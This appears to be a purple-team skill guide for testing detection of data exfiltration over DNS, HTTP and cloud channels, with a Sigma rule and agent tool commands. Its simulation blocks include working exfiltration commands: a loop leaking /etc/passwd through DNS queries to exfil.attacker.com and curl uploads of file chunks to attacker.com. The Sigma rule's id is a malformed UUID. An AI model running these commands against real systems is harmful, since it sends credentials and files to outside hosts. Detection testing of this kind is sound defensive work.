<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: testing-data-exfiltration-detection
description: >-
  Test detection capabilities for data exfiltration techniques across network,
  application, and physical channels. Covers DNS tunneling, HTTP/S exfil,
  cloud storage abuse, steganography, and encrypted channel exfiltration with
  corresponding Sigma rules and network detection signatures.
domain: cybersecurity
subdomain: purple-team
tags:
  - data-exfiltration
  - dlp
  - dns-tunneling
  - mitre-attack
  - network-detection
  - purple-team
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1027.003", "T1041", "T1048", "T1048.001", "T1048.002", "T1048.003", "T1567.002"]
---

# Testing Data Exfiltration Detection

## Overview

Data exfiltration is the final objective of many attack chains. Testing exfiltration
detection validates that DLP controls, network monitoring, and SIEM rules can
identify data leaving the organization through various channels including DNS
tunneling, HTTPS uploads, cloud storage, and encrypted C2 channels.

## Prerequisites

| Requirement | Install |
|---|---|
| Invoke-AtomicRedTeam | PowerShell module |
| dnscat2 | `git clone https://github.com/iagox86/dnscat2.git` |
| Python 3.10+ | For agent tooling and exfil simulation |
| Suricata | Network IDS for traffic analysis |
| Zeek | `apt install zeek` for network monitoring |

## Key Concepts

### Exfiltration Channels

| Channel | Technique | Detection Method |
|---|---|---|
| DNS tunneling | T1048.001 | DNS query length/frequency analysis |
| HTTPS upload | T1048.002 | SSL/TLS inspection, upload size anomaly |
| Cloud storage | T1567.002 | Cloud API monitoring, DLP |
| Email | T1048.003 | Email gateway inspection |
| Steganography | T1027.003 | File entropy analysis |
| C2 channel | T1041 | Beacon interval analysis |

### DNS Tunneling Test

```bash
# Simulate DNS exfiltration (T1048.001)
# Encode data in DNS queries
for chunk in $(cat /etc/passwd | base64 -w 63 | tr '+/' '-_'); do
  nslookup "${chunk}.exfil.attacker.com" 2>/dev/null
  sleep 0.5
done
```

### HTTP Exfiltration Test

```bash
# Simulate HTTP POST exfiltration (T1048.002)
curl -X POST https://httpbin.org/post \
  -H "Content-Type: application/octet-stream" \
  --data-binary @/tmp/test_sensitive_data.txt

# Simulate chunked exfiltration
split -b 1024 /tmp/test_data.bin /tmp/chunks_
for chunk in /tmp/chunks_*; do
  curl -s -X POST http://attacker.com/upload \
    -F "file=@${chunk}" && sleep 2
done
```

### Sigma Detection Rules

```yaml
title: DNS Tunneling - High Volume Unique Subdomains
id: 8a2f3b4c-5d6e-7f8g-9h0i-1j2k3l4m5n6o
status: experimental
description: Detects potential DNS tunneling via high volume of unique subdomain queries
logsource:
  category: dns_query
  product: windows
detection:
  selection:
    QueryName|contains: '.'
  timeframe: 5m
  condition: selection | count(QueryName) by Computer > 100
falsepositives:
  - CDN-heavy applications
  - Software update checks
level: medium
tags:
  - attack.exfiltration
  - attack.t1048.001
```

## Workflow

### 1. Setup Exfiltration Listeners

```bash
# Start test listener for HTTP exfil
node agent.js setup-listener --type http --port 8443 --output listeners.json

# Start DNS listener
node agent.js setup-listener --type dns --port 53 --output listeners.json
```

### 2. Execute Exfiltration Tests

```bash
# Run exfiltration test suite
node agent.js run-exfil-tests \
  --channels dns,http,cloud \
  --data-size 1024 \
  --output results/exfil_results.json
```

### 3. Validate Detection

```bash
# Check SIEM for exfiltration alerts
node agent.js check-detections \
  --results results/exfil_results.json \
  --siem-url https://splunk:8089 \
  --output results/detection_status.json
```

### 4. Network Analysis

```bash
# Analyze network captures for exfil indicators
node agent.js analyze-pcap \
  --pcap captures/exfil_test.pcap \
  --output reports/network_analysis.json
```

## Verification

| Check | Method |
|---|---|
| Exfil tests executed | All channels tested successfully |
| DNS tunneling detected | DNS anomaly alerts in SIEM |
| HTTP exfil detected | DLP or proxy alerts triggered |
| Cloud exfil detected | CASB or cloud API alerts |
| Network signatures fired | Suricata/Zeek alerts generated |

## References

- [MITRE ATT&CK Exfiltration](https://attack.mitre.org/tactics/TA0010/)
- [Atomic Red Team T1048](https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1048)
- [dnscat2](https://github.com/iagox86/dnscat2)
